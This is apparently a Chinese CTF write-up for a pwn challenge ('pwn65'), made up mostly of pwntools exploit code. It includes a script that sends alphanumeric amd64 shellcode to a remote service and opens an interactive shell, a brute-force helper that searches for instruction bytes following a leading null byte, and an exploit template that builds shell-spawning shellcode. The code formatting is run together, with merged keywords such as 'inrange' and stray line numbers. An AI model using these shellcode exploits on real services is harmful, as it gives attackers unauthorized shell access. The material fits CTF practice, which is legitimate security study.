from pwn import * from LibcSearcher import * context(os='linux', arch='amd64', log_level='debug') e=ELF('./pwn65') r = remote("域名",端口) shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" r.send(shellcode) r.interactive()
shellcode开头为\x00
用脚本找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from pwn import * from itertools import * import re
for i inrange(1, 3): for j in product([p8(k) for k inrange(256)], repeat=i): payload = b"\x00" + b"".join(j) res = disasm(payload) if ( res != " ..." andnot re.search(r"\[\w*?\]", res) and".byte"notin res ): print(res) input()
exp模板
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import * from LibcSearcher import * #context.log_level = 'debug' context(os='linux', arch='amd64', log_level='debug') #r = process('./') #elf=ELF('./') r = remote("域名",端口) shellcode = asm(shellcraft.sh()) r.recvuntil("")